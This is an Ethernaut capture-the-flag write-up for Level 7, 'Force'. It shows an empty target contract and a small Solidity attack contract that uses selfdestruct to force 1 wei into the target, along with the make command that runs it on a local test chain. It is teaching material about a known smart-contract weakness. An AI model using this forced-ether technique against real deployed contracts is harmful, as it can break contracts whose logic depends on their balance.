Level 7 - Force ⏺⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Exploit
The exploit uses selfdestruct
to force funds to be sent to the contract.
Create an attack contract that contains funds (
1 wei
) which is then force sent to the target contract usingselfdestruct
.
make anvil-exploit-level-7
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ================================================================
// │ LEVEL 7 - FORCE │
// ================================================================
contract Selfdestruct {
function attack(address _targetContractAddress) public payable {
selfdestruct(payable(_targetContractAddress));
}
}
Submit instance... 🥳
Completion Message
Notes
Last updated